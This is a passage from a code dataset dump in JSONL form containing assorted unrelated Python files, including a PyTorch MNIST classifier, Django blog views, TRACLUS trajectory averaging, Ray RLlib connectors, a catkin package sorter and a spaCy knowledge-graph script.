transform=transforms.ToTensor(), target_transform=None, download=True)\nmnist_test = dset.MNIST(\"./\", train=False, transform=transforms.ToTensor(), target_transform=None, download=True)\nprint(mnist_train.__getitem__(0)[0].size(), mnist_train.__len__())\nprint(mnist_test.__getitem__(0)[0].size(), mnist_test.__len__())\n\ntrain_loader = torch.utils.data.DataLoader(mnist_train,batch_size=batch_size, shuffle=True,num_workers=2,drop_last=True)\ntest_loader = torch.utils.data.DataLoader(mnist_test,batch_size=batch_size, shuffle=False,num_workers=2,drop_last=True)\n\nclass CNN(nn.Module):\n def __init__(self):\n super(CNN,self).__init__()\n self.layer = nn.Sequential(\n nn.Conv2d(1,16,3,padding=1),\n nn.ReLU(),\n nn.Conv2d(16,32,3,padding=1),\n nn.ReLU(),\n nn.MaxPool2d(2,2),\n nn.Conv2d(32,64,3,padding=1),\n nn.ReLU(),\n nn.MaxPool2d(2,2)\n )\n self.fc_layer = nn.Sequential(\n nn.Linear(64*7*7,100),\n nn.ReLU(),\n nn.Linear(100,10)\n )\n\n # weight 초기화\n # 모델의 모듈을 차례대로 불러옴\n for m in self.modules():\n # 모듈이 nn.Conv2d인 경우\n if isinstance(m, nn.Conv2d):\n \"\"\"\n # 작은 숫자 초기화\n # 가중치를 평균 0, 편차 0.02로 초기화\n # 편차를 0으로 초기화\n m.weight.data.normal_(0.0, 0.02)\n m.bias.data.fill_(0)\n\n # Xavier Initialization\n init.xavier_normal(m.weight.data)\n m.bias.data.fill_(0)\n \"\"\"\n\n # Kaiming Initialization\n init.kaiming_normal_(m.weight.data)\n m.bias.data.fill_(0)\n\n # 모듈이 nn.Linear인 경우\n elif isinstance(m, nn.Linear):\n \"\"\"\n # 작은 숫자 초기화\n # 가중치를 평균 0, 편차 0.02로 초기화\n # 편차를 0으로 초기화\n m.weight.data.normal_(0.0, 0.02)\n m.bias.data.fill_(0)\n\n # Xavier Initialization\n init.xavier_normal(m.weight.data)\n m.bias.data.fill_(0)\n \"\"\"\n\n # Kaiming Initialization\n init.kaiming_normal_(m.weight.data)\n m.bias.data.fill_(0)\n\n\n def forward(self, x):\n out = self.layer(x)\n out = out.view(batch_size, -1)\n out = self.fc_layer(out)\n return out\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nprint(device)\n\nmodel = CNN().to(device)\nloss_func = nn.CrossEntropyLoss()\noptimizer = torch.optim.SGD(model.parameters(), lr=learning_rate)\n\nfor i in range(num_epoch):\n for j, [image, label] in enumerate(train_loader):\n x = image.to(device)\n y_ = label.to(device)\n\n optimizer.zero_grad()\n output = model.forward(x)\n loss = loss_func(output, y_)\n loss.backward()\n optimizer.step()\n\n if i % 10 == 0:\n print(loss)\n\nparam_list = list(model.parameters())\nprint(param_list)\n\ncorrect = 0\ntotal = 0\n\nwith torch.no_grad():\n for image,label in test_loader:\n x = image.to(device)\n y_= label.to(device)\n\n output = model.forward(x)\n _,output_index = torch.max(output,1)\n\n total += label.size(0)\n correct += (output_index == y_).sum().float()\n\n print(\"Accuracy of Test Data: {}\".format(100*correct/total))","sub_path":"5. Increasing Accuracy/weight_initialization.py","file_name":"weight_initialization.py","file_ext":"py","file_size_in_byte":3896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"438526199","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom .models import *\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom .forms import CommentForm, PostForm\nfrom django.db.models import Q\nfrom django.views.generic import CreateView\n\ndef get_author(user):\n qs = Author.objects.filter(user=user)\n if qs.exists():\n return qs[0]\n return None\n\ndef search(request):\n queryset = Post.objects.all()\n query = request.GET.get('q')\n if query:\n queryset = queryset.filter(\n Q(title__icontains=query)|\n Q(description__icontains=query)\n ).distinct()\n context = {\n 'queryset': queryset\n }\n return render(request, 'search_results.html', context)\n\ndef index(request):\n categories = Category.objects.all()\n queryset = Post.objects.all()\n paginator = Paginator(queryset, 2)\n page_request_var = 'page'\n page = request.GET.get(page_request_var)\n try:\n paginated_guaryset = paginator.page(page)\n except PageNotAnInteger:\n paginated_guaryset = paginator.page(1)\n except EmptyPage:\n paginated_guaryset = paginator.page(paginator.num_pages)\n context = {\n 'categories': categories,\n 'queryset': paginated_guaryset,\n 'page_request_var': page_request_var\n }\n return render(request, 'index.html', context)\n\ndef blog(request, blog_id):\n categories = Category.objects.all()\n blog = get_object_or_404(Post, id=blog_id)\n form = CommentForm(request.POST or None)\n if request.method == \"POST\":\n if form.is_valid():\n form.instance.user = request.user\n form.instance.post = blog\n form.save()\n return redirect('blog', blog_id=blog_id)\n\n context ={\n 'categories': categories,\n 'blog': blog,\n 'form': form\n }\n return render(request, 'blog.html', context)\n\ndef blog_create(request):\n title = 'Create'\n form = PostForm(request.POST or None, request.FILES or None)\n author = get_author(request.user)\n if request.method == \"POST\":\n if form.is_valid():\n form.instance.author = author\n form.save()\n\n return redirect(reverse('blog', kwargs={\n 'blog_id': form.instance.id\n }))\n context = {\n 'title': title,\n 'form': form\n }\n return render(request, 'post_create.html', context)\n\ndef blog_update(request, blog_id):\n title = 'Update'\n blog = get_object_or_404(Post, id=blog_id)\n form = PostForm(request.POST or None, request.FILES or None, instance=blog)\n author = get_author(request.user)\n if request.method == 'POST':\n if form.is_valid():\n form.instance.author = author\n form.save()\n return redirect(reverse('blog', kwargs={\n 'blog_id': form.instance.id\n }))\n context = {\n 'title': title,\n 'form': form\n }\n return render(request, 'post_create.html', context)\n\ndef blog_delete(request, blog_id):\n blog = get_object_or_404(Post, id=blog_id)\n blog.delete()\n return redirect('index')\n\ndef CategoryView(request, cats):\n category_post = Post.objects.filter(categories__title__contains=cats)\n context ={\n 'cats': cats,\n 'category_post': category_post\n }\n return render(request, 'categories.html', context)\n\nclass AddCategoryView(CreateView):\n model = Category\n template_name = 'add_category.html'\n fields = '__all__'","sub_path":"django_blog/myblog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"426962126","text":"'''\nCreated on Jan 5, 2016\n\n@author: Alex\n'''\n\nfrom geometry import Point\nfrom representative_trajectory_average_inputs import DECIMAL_MAX_DIFF_FOR_EQUALITY\nfrom representative_trajectory_average_inputs import get_representative_trajectory_average_inputs\nfrom representative_line_finding import get_average_vector\nfrom representative_line_finding import get_rotated_segment\n\ndef get_rline_pts(tls_list, min_vline, min_prev_dist):\n segments = list(map(lambda tls: tls.segment, tls_list))\n avg_vec = get_average_vector(segments)\n for tls in tls_list:\n tls.rsegment = get_rotated_segment(tls.segment, -avg_vec.angle)\n inputs = get_representative_trajectory_average_inputs(tls_list, min_vline, min_prev_dist)\n rline_pts = []\n for line_seg_averaging_input in inputs:\n vert_val = get_mean_vertical_coordinate_in_line_segments(line_seg_averaging_input)\n rline_pts.append(Point(line_seg_averaging_input['horizontal_position'], vert_val))\n return [pt.rotated(avg_vec.angle) for pt in rline_pts]\n\ndef interpolate_within_line_segment(line_segment, horizontal_coordinate):\n min_x = min(line_segment.start.x, line_segment.end.x)\n max_x = max(line_segment.start.x, line_segment.end.x)\n \n if not (min_x <= horizontal_coordinate + DECIMAL_MAX_DIFF_FOR_EQUALITY \\\n and max_x >= horizontal_coordinate - DECIMAL_MAX_DIFF_FOR_EQUALITY):\n raise Exception(\"horizontal coordinate \" + str(horizontal_coordinate) + \\\n \" not within horizontal range of line segment\" + \\\n \" with bounds \" + str(min_x) + \" and \" + str(max_x))\n elif line_segment.start.y - line_segment.end.y == 0.0:\n return line_segment.start.y\n elif line_segment.start.x - line_segment.end.x == 0.0:\n return (line_segment.end.y - line_segment.start.y) / 2.0 + line_segment.start.y\n else:\n return float((horizontal_coordinate - line_segment.start.x)) / (line_segment.end.x - line_segment.start.x) * \\\n (line_segment.end.y - line_segment.start.y) + line_segment.start.y \n \ndef line_segment_averaging_set_iterable(line_segments_to_average):\n line_segment_averaging_set = []\n horizontal_coord = line_segments_to_average['horizontal_position']\n for seg in line_segments_to_average['lines']:\n line_segment_averaging_set.append({'horizontal_pos': horizontal_coord, 'line_seg': seg})\n \n return line_segment_averaging_set\n\ndef number_average(iter_ob, func):\n count = len(iter_ob)\n if count == 0:\n raise Exception(\"no input given to take average of\")\n total = 0.0\n for item in iter_ob:\n total += func(item)\n return total / count\n \ndef get_mean_vertical_coordinate_in_line_segments(line_segments_to_average):\n def apply_interpolation_to_line_segment(interpolation_info):\n if interpolation_info['line_seg'] == None or interpolation_info['horizontal_pos'] == None:\n raise Exception(\"nil key. \" + str(interpolation_info) + \" was passed to apply_interpolation_to_line_segment\")\n return interpolate_within_line_segment(interpolation_info['line_seg'], interpolation_info['horizontal_pos'])\n \n return number_average(line_segment_averaging_set_iterable(line_segments_to_average), \\\n apply_interpolation_to_line_segment)","sub_path":"traclus_impl/line_segment_averaging.py","file_name":"line_segment_averaging.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"428470846","text":"import random\n\nclass FlipCoinGame:\n\tdef flip(self):\n\t\treturn random.choice([\"H\",\"T\"])\n\t\n\tdef flipping_loop(self, flips_number):\n\t\ttail_sum = 0\n\t\thead_sum = 0\n\t\tfor i in range(flips_number):\n\t\t\tside = self.flip()\n\t\t\tif side == \"H\":\n\t\t\t\ttail_sum+=1\n\t\t\telse:\n\t\t\t\thead_sum+=1\n\t\n\t\tprint(\"You had %s tails and %s heads.\" %(tail_sum, head_sum))\n\t\n\tdef get_input(self):\n\t\tprint(\"How many times do you want to flip?\")\n\t\n\t\tvalue = input()\n\t\ttry:\n\t\t\treturn int(value)\n\t\texcept ValueError:\n\t\t\tprint(\"Input has to be number!!!\")\n\t\t\tquit()\n\n\tdef start(self):\n\t\tflips_number = self.get_input()\n\t\tself.flipping_loop(flips_number)\n\ngame = FlipCoinGame()\ngame.start()\n","sub_path":"coin.py","file_name":"coin.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"609171751","text":"#!/usr/bin/python\nimport signal\nimport sys\n\nimport time\nimport pyupm_grove as grove\nimport pyupm_ttp223 as ttp223\nimport pyupm_i2clcd as lcd\n\nimport dweepy\n\ndef interruptHandler(signal, frame):\n\tsys.exit(0)\n\nif __name__ == '__main__':\n\tsignal.signal(signal.SIGINT, interruptHandler)\n\n\ttouch = ttp223.TTP223(6)\n\tmyLcd = lcd.Jhd1313m1(0, 0x3E, 0x62)\n\tbutton = grove.GroveButton(8)\n\n\tcount = 0\n\tmyLcd.setColor(0,0,255)\n\n# Read the input and print, waiting 1/2 second between readings\n\twhile 1:\n\t\tcontador={}\n\t\tif button.value():\n\t\t\tcount=count+1\n\t\tif touch.isPressed():\n\t\t\tcount=count-1\n\t\tmyLcd.setCursor(0,0)\n\t\tmyLcd.write('%6d'% count)\n\t\tcontador[\"conteo\"]=count\n\t\tdweepy.dweet_for(\"Legalileo_racso1290\",contador)\n\t\ttime.sleep(0.5)\n\tdel button\n\tdel touch\n","sub_path":"misprogs/prog5.py","file_name":"prog5.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"81424005","text":"# -*- coding: utf-8 -*-\nimport logging\nfrom openerp import tools\nfrom email.header import decode_header\nfrom openerp import SUPERUSER_ID\nfrom openerp.osv import osv, orm, fields\nfrom openerp.tools import html_email_clean\nfrom openerp.tools.translate import _\n_logger = logging.getLogger(__name__)\n\n\nclass mail_message(osv.Model):\n _inherit = 'mail.message'\n _message_read_fields = ['id', 'parent_id', 'model', 'res_id', 'body',\\\n 'subject', 'date', 'to_read', 'email_from',\\\n 'email_to','email_cc', 'type', 'vote_user_ids',\\\n 'attachment_ids', 'author_id', 'partner_ids',\\\n 'record_name']\n _columns = {\n 'email_to': fields.char('To',\n help=\"Email address of the Receiver. \\\n This field is set when no matching partner is found for \\\n incoming emails.\"),\n 'email_cc': fields.char('CC',\n help=\"Email address of the CC. This field is set when no matching \\\n partner is found for incoming emails.\"),\n }\n\n def _message_read_dict(self, cr, uid, message, parent_id=False, \\\n context=None):\n \"\"\" Return a dict representation of the message. This representation is\n used in the JS client code, to display the messages. Partners and\n attachments related stuff will be done in post-processing in batch.\n :param dict message: mail.message browse record\n \"\"\"\n # private message: no model, no res_id\n is_private = False\n if not message.model or not message.res_id:\n is_private = True\n # votes and favorites: res.users ids, no prefetching should be done\n vote_nb = len(message.vote_user_ids)\n has_voted = uid in [user.id for user in message.vote_user_ids]\n\n try:\n body_html = html_email_clean(message.body)\n except Exception:\n body_html = '

Encoding Error :
Unable to convert\\\n this message (id: %s).

' % message.id\n _logger.exception(Exception)\n return {'id': message.id,\n 'type': message.type,\n 'subtype': message.subtype_id.name if \\\n message.subtype_id else False,\n 'body': body_html,\n 'model': message.model,\n 'res_id': message.res_id,\n 'record_name': message.record_name,\n 'subject': message.subject,\n 'date': message.date,\n 'to_read': message.to_read,\n 'parent_id': parent_id,\n 'is_private': is_private,\n 'author_id': False,\n 'is_author': False,\n 'partner_ids': [],\n 'vote_nb': vote_nb,\n 'has_voted': has_voted,\n 'is_favorite': message.starred,\n 'attachment_ids': [],\n 'email_from':message.email_from or '',\n 'email_to': message.email_to or '',\n 'email_cc': message.email_cc or '',\n }\n\nmail_message()\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:","sub_path":"vnc_zimbra_connector/mail_message.py","file_name":"mail_message.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"491538142","text":"#!/usr/bin/env python3\nimport random\nimport sys\nn = int(sys.argv[1])\nrandom.seed(int(sys.argv[2]))\n\nassert n%4 == 0\nv1 = list(range(0, n//4))\nv2 = list(range(n//4, n//2))\nv3 = list(range(n//2, (3*n)//4))\nv4 = list(range((3*n)//4, n))\nrandom.shuffle(v1)\nrandom.shuffle(v2)\nrandom.shuffle(v3)\nrandom.shuffle(v4)\n\nv = [i+1 for i in v1+v2+v3+v4]\n\nprint(n)\nprint(*v)\n","sub_path":"ICPC/ukiepc2020problems/incompleteimplementation/generators/quarters_in_place.py","file_name":"quarters_in_place.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"407431482","text":"import numpy as np\nimport tree # dm_tree\nfrom typing import Any, Callable, Dict, List, Type\n\nfrom ray.rllib.connectors.connector import (\n ConnectorContext,\n AgentConnector,\n register_connector,\n)\nfrom ray.rllib.policy.sample_batch import SampleBatch\nfrom ray.rllib.utils.annotations import DeveloperAPI\nfrom ray.rllib.utils.typing import (\n AgentConnectorDataType,\n TensorStructType,\n)\n\n\n@DeveloperAPI\ndef register_lambda_agent_connector(\n name: str, fn: Callable[[Any], Any]\n) -> Type[AgentConnector]:\n \"\"\"A util to register any simple transforming function as an AgentConnector\n\n The only requirement is that fn should take a single data object and return\n a single data object.\n\n Args:\n name: Name of the resulting actor connector.\n fn: The function that transforms env / agent data.\n\n Returns:\n A new AgentConnector class that transforms data using fn.\n \"\"\"\n\n class LambdaAgentConnector(AgentConnector):\n def __call__(\n self, ac_data: AgentConnectorDataType\n ) -> List[AgentConnectorDataType]:\n d = ac_data.data\n return [AgentConnectorDataType(ac_data.env_id, ac_data.agent_id, fn(d))]\n\n def to_config(self):\n return name, None\n\n @staticmethod\n def from_config(ctx: ConnectorContext, params: List[Any]):\n return LambdaAgentConnector(ctx)\n\n LambdaAgentConnector.__name__ = name\n LambdaAgentConnector.__qualname__ = name\n\n register_connector(name, LambdaAgentConnector)\n\n return LambdaAgentConnector\n\n\n@DeveloperAPI\ndef flatten_data(data: Dict[str, TensorStructType]):\n assert (\n type(data) == dict\n ), \"Single agent data must be of type Dict[str, TensorStructType]\"\n\n flattened = {}\n for k, v in data.items():\n if k in [SampleBatch.INFOS, SampleBatch.ACTIONS] or k.startswith(\"state_out_\"):\n # Do not flatten infos, actions, and state_out_ columns.\n flattened[k] = v\n continue\n if v is None:\n # Keep the same column shape.\n flattened[k] = None\n continue\n flattened[k] = np.array(tree.flatten(v))\n\n return flattened\n\n\n# Flatten observation data.\nFlattenDataAgentConnector = register_lambda_agent_connector(\n \"FlattenDataAgentConnector\", flatten_data\n)\n","sub_path":"rllib/connectors/agent/lambdas.py","file_name":"lambdas.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"430160032","text":"from __future__ import print_function\nimport os\nimport sys\n\nfrom catkin_pkg.package import parse_package\nfrom catkin_pkg.packages import find_package_paths\n\n\nclass PackageData:\n\n def __init__(self, path, parse_package_arg=parse_package):\n package = parse_package_arg(path)\n self.name = package.name\n self.path = path\n self.build_depends = set([d.name for d in (package.build_depends + package.buildtool_depends)])\n message_generators = [e.content for e in package.exports if e.tagname == 'message_generator']\n self.message_generator = message_generators[0] if message_generators else None\n self.is_metapackage = 'metapackage' in [e.tagname for e in package.exports]\n\n def __repr__(self):\n return 'name=%s path=%s build_depends=%s message_generator=%s\\n' % (self.name, self.path, self.build_depends, self.message_generator)\n\n\ndef _remove_dependency(packages, name):\n for build_depends in [package_data.build_depends for package_data in packages.values()]:\n build_depends.difference_update([name])\n\n\ndef _sort_packages(packages):\n '''\n First returning packages which have message generators and then the rest based on their build_depends.\n '''\n\n ordered_packages = []\n while len(packages) > 0:\n # find all packages without build dependencies\n message_generators = []\n non_message_generators = []\n for name, data in packages.items():\n if not data.build_depends:\n if data.message_generator:\n message_generators.append(name)\n else:\n non_message_generators.append(name)\n # first choose message generators\n if message_generators:\n names = message_generators\n elif non_message_generators:\n names = non_message_generators\n else:\n # in case of a circular dependency pass the list of remaining packages\n ordered_packages.append([None, ', '.join(sorted(packages.keys()))])\n break\n\n # alphabetic order only for convenience\n names.sort()\n #print('names = %s' % names, file=sys.stderr)\n\n # add first candidates to ordered list\n # do not add all candidates since removing the depends from the first might affect the next candidates\n name = names[0]\n ordered_packages.append([name, packages[name]])\n # remove package from further processing\n del packages[name]\n _remove_dependency(packages, name)\n return ordered_packages\n\n\ndef topological_order(source_root_dir, whitelisted=None, blacklisted=None):\n paths = find_package_paths(source_root_dir)\n #print('paths = %s' % paths, file=sys.stderr)\n\n # fetch all meta data\n prefix = os.path.abspath(source_root_dir) + os.sep\n package_data_list = []\n for path in paths:\n data = PackageData(os.path.join(source_root_dir, path))\n # make path relative to root dir\n if data.path.startswith(prefix):\n data.path = data.path[len(prefix):]\n package_data_list.append(data)\n return _topological_order_packages(package_data_list, whitelisted, blacklisted)\n\n\ndef _topological_order_packages(package_data_list, whitelisted=None, blacklisted=None):\n packages = {}\n for data in package_data_list:\n # skip non-whitelisted packages\n if whitelisted and data.name not in whitelisted:\n continue\n # skip blacklisted packages\n if blacklisted and data.name in blacklisted:\n continue\n if data.name in packages:\n print('Two package with the same name \"%s\" in the workspace:\\n- %s\\n- %s' % (data.name, packages[data.name].path, data.path), file=sys.stderr)\n sys.exit(1)\n packages[data.name] = data\n\n # remove catkin from list of packages\n if 'catkin' in packages:\n del packages['catkin']\n\n # remove external dependencies from the list\n if packages:\n all_build_depends = reduce(set.union, [p.build_depends for p in packages.values()])\n external_depends = all_build_depends - set(packages.keys())\n #print('external_depends = %s' % external_depends, file=sys.stderr)\n for data in packages.values():\n data.build_depends = set(data.build_depends) - set(external_depends)\n\n return _sort_packages(packages)\n\n\ndef get_message_generators(ordered_packages):\n return [name for (name, data) in ordered_packages if hasattr(data, 'message_generator') and data.message_generator]\n","sub_path":"python/catkin/topological_order.py","file_name":"topological_order.py","file_ext":"py","file_size_in_byte":4530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"593392492","text":"from imutils.face_utils import FaceAligner\nfrom imutils.face_utils import rect_to_bb\nimport imutils\nimport dlib\nimport cv2\nimport numpy as np\nfrom skimage.measure import compare_ssim as ssim\nimport os\nimport sys\nfrom hairstylist import BASE_DIR\n\npredictor = None\ndef hog_err(source_img,images):\n global predictor\n mags = []\n detector = dlib.get_frontal_face_detector()\n if(predictor == None):\n predictor = dlib.shape_predictor(BASE_DIR+\"/hairstylist/pipeline/shape_predictor_68_face_landmarks.dat\")\n fa = FaceAligner(predictor, desiredFaceWidth=256)\n for image in images:\n #image = imutils.resize(image, width=800)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n rects = detector(gray, 2)\n if(rects):\n (x, y, w, h) = rect_to_bb(rects[0])\n #print((x,y,w,h))\n # faceOrig = imutils.resize(image[y:y + h, x:x + w], width=256)\n faceAligned = fa.align(image, gray, rects[0])\n mags.append(cv2.resize(faceAligned, (255, 255)))\n temp = rects\n else:\n (x, y, w, h) = rect_to_bb(temp[0])\n #print((x,y,w,h))\n # faceOrig = imutils.resize(image[y:y + h, x:x + w], width=256)\n faceAligned = fa.align(image, gray, temp[0])\n mags.append(cv2.resize(faceAligned, (255, 255)))\n\n #image = imutils.resize(source_img, width=800)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n rects = detector(gray, 2)\n (x, y, w, h) = rect_to_bb(rects[0])\n # faceOrig = imutils.resize(image[y:y + h, x:x + w], width=256)\n faceAligned = fa.align(image, gray, rects[0])\n mags.append(cv2.resize(faceAligned, (255, 255)))\n images = mags[:-1]\n err = []\n for image in images:\n err.append(ssim(mags[-1], image, multichannel=True))\n\n return err","sub_path":"hairstylist/pipeline/hog2.py","file_name":"hog2.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"541991468","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\nimport string, re, urllib, pyglet\n\n\n\n\"\"\"\n7 smarty\n\"\"\"\nsite = \"http://www.pythonchallenge.com/pc/def/\"\nopt = \"oxygen.png\"\nanswer_to_find = \"\"\n\n# decode png\npic = pyglet.image.load('7_smarty.png')\nraw_image = pic.get_image_data()\nformat = 'RGBA'\npitch = raw_image.width * len(format)\npixels = raw_image.get_data(format, pitch)\nwidth = (pitch) # 2516\nheight = (len(pixels)/pitch) # 95\nall_pixel_count = (len(pixels)) # 239020 (mid of picture 119510)\nlti = 47 # line_to_inspect\nfor pix_in_mid in range(width * lti, width * lti + width):\n print(pixels[pix_in_mid], end=\"\")\npix_line_in_mid = pixels[width * lti : width * lti + width]\n#print(\"alpha channel value: \" + str(ord(pix_line_in_mid[3])))\nanswer_string = \"\".join(re.findall('([a-z0-9 ,])[a-z0-9 ,]+.[a-z0-9 ,]+.[a-z0-9 ,]+.[a-z0-9 ,]+.[a-z0-9 ,]+.[a-z0-9 ,]+.[a-z0-9 ,]+.', pix_line_in_mid))\n# answer_string is \"smart guy, you made it the next level is 105, 110, 116, 101, 103, 114, 105, 116, 121\"\n# -> convert last numbers from ascii to characters being able to read:\nnumber_pos = answer_string.find(\"1\")\nprint(\"\\n\")\nprint(answer_string)\nanswer_to_find = answer_string[:number_pos]\nnumber_str = answer_string[number_pos:]\nfor pos in range(number_pos, len(answer_string), 5):\n num_str = \"\"\n for n in range(3):\n num_str += answer_string[pos + n]\n print(num_str)\n char = chr(int(num_str))\n answer_to_find += char\nprint(\"convert ascii numbers to characters\")\nprint(\"answer to find is: \" + answer_to_find)\n#webbrowser.open(site + answer_to_find)\n","sub_path":"2017/pythonchallenge.com/7_smarty.py","file_name":"7_smarty.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"611019097","text":"# -*- coding: utf-8 -*-\n'''\n:url: https://leetcode.com/problems/count-primes/description/\n'''\n\n\nclass Solution:\n def countPrimes(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n primes = [0, 0] + [1] * (n - 2)\n for i in range(2, int(n ** 0.5) + 1):\n if primes[i]:\n for j in range(i * i, n, i):\n primes[j] = 0\n return sum(primes)\n","sub_path":"o/countprimes.py","file_name":"countprimes.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"127356455","text":"\"\"\"*WIKI* \n\nThis algorithm creates an empty table workspace and puts it in the data service to make it available to python.\n\n*WIKI*\"\"\"\n\nfrom mantid.api import PythonAlgorithm, AlgorithmFactory, ITableWorkspaceProperty, WorkspaceFactory\nfrom mantid.kernel import Direction\n\n# Create an empty table workspace to be populated by a python script.\nclass CreateEmptyTableWorkspace(PythonAlgorithm):\n \n def PyInit(self):\n # Declare properties\n self.setWikiSummary(\"Creates an empty table workspace that can be populated by python code.\")\n self.setOptionalMessage(\"Creates an empty table workspace that can be populated by python code.\")\n self.declareProperty(ITableWorkspaceProperty(\"OutputWorkspace\", \"\", Direction.Output), \"The name of the table workspace that will be created.\")\n \n def PyExec(self):\n tableWS = WorkspaceFactory.createTable()\n\n self.setProperty(\"OutputWorkspace\", tableWS)\n \n# Register algorithm with Mantid\nAlgorithmFactory.subscribe(CreateEmptyTableWorkspace)\n\n","sub_path":"Code/Mantid/Framework/PythonInterface/plugins/algorithms/CreateEmptyTableWorkspace.py","file_name":"CreateEmptyTableWorkspace.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"24032094","text":"import os\r\nfilename = 'pragramming.txt' #输出的文件\r\n\r\ndef eachFile(filepath): \r\n pathDir =os.listdir(filepath) #遍历文件夹中的txt文件\r\n return pathDir\r\n\r\ndef readfile(name): \r\n fopen=open(name,'r',encoding = 'utf-8')\r\n for lines in fopen.readlines(): #按行读取txt中的内容\r\n lines = lines.replace(\"\\n\", \"\").split(\",\")\r\n if '156' not in str(lines): \r\n with open(filename,'a') as fileobject:\r\n fileobject.write(''.join(lines)+'\\n')\r\n fopen.close()\r\n\r\nfilePath = \"D:\\\\X\" #这是要查询的txt文件的目录\r\npathDir=eachFile(filePath)\r\n\r\nfor allDir in pathDir:\r\n # child = os.path.join('%s%s' % (filepath, allDir))\r\n child = \"C:\\\\X\" + '\\\\' + allDir #这好像也是可以查询的文件。把他俩一个置为空即可\r\n readfile(child)\r\n\r\n","sub_path":"得到文件名后把出符合要求的文件名写入txt文件.py","file_name":"得到文件名后把出符合要求的文件名写入txt文件.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"394201807","text":"import spacy\nfrom spacy.lang.en import English\nfrom spacy.matcher import Matcher\nfrom spacy.tokens import Span\nfrom spacy import displacy\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport requests\nfrom bs4 import BeautifulSoup\nfrom argparse import ArgumentParser\nimport pandas as pd\nimport numpy as np\nimport re\n\nnlp = spacy.load('en_core_web_sm')\n\ndef getSentences(text):\n nlp = English()\n nlp.add_pipe(nlp.create_pipe('sentencizer'))\n document = nlp(text)\n return [sent.string.strip() for sent in document.sents]\n\ndef get_entities(sent):\n ## chunk 1\n ent1 = \"\"\n ent2 = \"\"\n\n prv_tok_dep = \"\" # dependency tag of previous token in the sentence\n prv_tok_text = \"\" # previous token in the sentence\n\n prefix = \"\"\n modifier = \"\"\n\n #############################################################\n\n for tok in nlp(sent):\n ## chunk 2\n # if token is a punctuation mark then move on to the next token\n if tok.dep_ != \"punct\":\n # check: token is a compound word or not\n if tok.dep_ == \"compound\":\n prefix = tok.text\n # if the previous word was also a 'compound' then add the current word to it\n if prv_tok_dep == \"compound\":\n prefix = prv_tok_text + \" \"+ tok.text\n\n # check: token is a modifier or not\n if tok.dep_.endswith(\"mod\") == True:\n modifier = tok.text\n # if the previous word was also a 'compound' then add the current word to it\n if prv_tok_dep == \"compound\":\n modifier = prv_tok_text + \" \"+ tok.text\n\n ## chunk 3\n if tok.dep_.find(\"subj\") == True:\n ent1 = modifier +\" \"+ prefix + \" \"+ tok.text\n prefix = \"\"\n modifier = \"\"\n prv_tok_dep = \"\"\n prv_tok_text = \"\"\n\n ## chunk 4\n if tok.dep_.find(\"obj\") == True:\n ent2 = modifier +\" \"+ prefix +\" \"+ tok.text\n\n ## chunk 5\n # update variables\n prv_tok_dep = tok.dep_\n prv_tok_text = tok.text\n #############################################################\n\n return [ent1.strip(), ent2.strip()]\n\n\ndef get_relation(sent):\n\n doc = nlp(sent)\n\n # Matcher class object\n matcher = Matcher(nlp.vocab)\n\n #define the pattern\n pattern = [{'DEP':'ROOT'},\n {'DEP':'prep','OP':\"?\"},\n {'DEP':'agent','OP':\"?\"},\n {'POS':'ADJ','OP':\"?\"}]\n\n matcher.add(\"matching_1\", None, pattern)\n\n matches = matcher(doc)\n k = len(matches) - 1\n\n span = doc[matches[k][1]:matches[k][2]]\n\n return(span.text)\n\nif __name__ == \"__main__\":\n parser = ArgumentParser(description=\"Generate a Knowledge Graph from a Webpage.\")\n parser.add_argument('--no-graph', dest=\"no_graph\",\n default=False, action=\"store_true\",\n help=\"Do not draw a graph.\")\n parser.add_argument('--no-save', dest=\"no_save\",\n default=False, action=\"store_true\",\n help=\"Do not save a triple data as a file.\")\n parser.add_argument('-u', '--url', type=str, default=None,\n help=\"Provide an URL containing text to parse.\")\n parser.add_argument('-s', '--source', type=str, default=None, nargs='*',\n help=\"Draw a Knowledge Graph only for the given source word.\")\n parser.add_argument('-t', '--target', type=str, default=None, nargs='*',\n help=\"Draw a Knowledge Graph 